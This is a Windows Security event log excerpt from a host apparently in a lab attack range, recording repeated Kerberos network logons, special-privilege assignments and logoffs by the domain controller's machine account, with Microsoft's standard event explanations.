03/11/2021 11:48:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249824
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xEF743
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64330

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249823
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEF743

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249822
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEF6E2

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249821
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xEF6E2
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64329

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249820
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEF6E2

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249843
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEF99E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249842
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xEF99E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64336

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249841
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEF99E

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249840
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEF93D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249839
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xEF93D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64335

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249838
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEF93D

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249837
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEF8D7

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249836
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xEF8D7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64334

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249835
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEF8D7

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249834
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEF876

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249833
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xEF876
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64333

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249832
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEF876

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249855
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEFB33

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249854
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xEFB33
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64340

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249853
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEFB33

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249852
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEFAD2

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249851
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xEFAD2
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64339

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249850
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEFAD2

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249849
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEFA6C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249848
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xEFA6C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64338

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249847
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEFA6C

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249846
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEFA0B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249845
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xEFA0B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64337

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

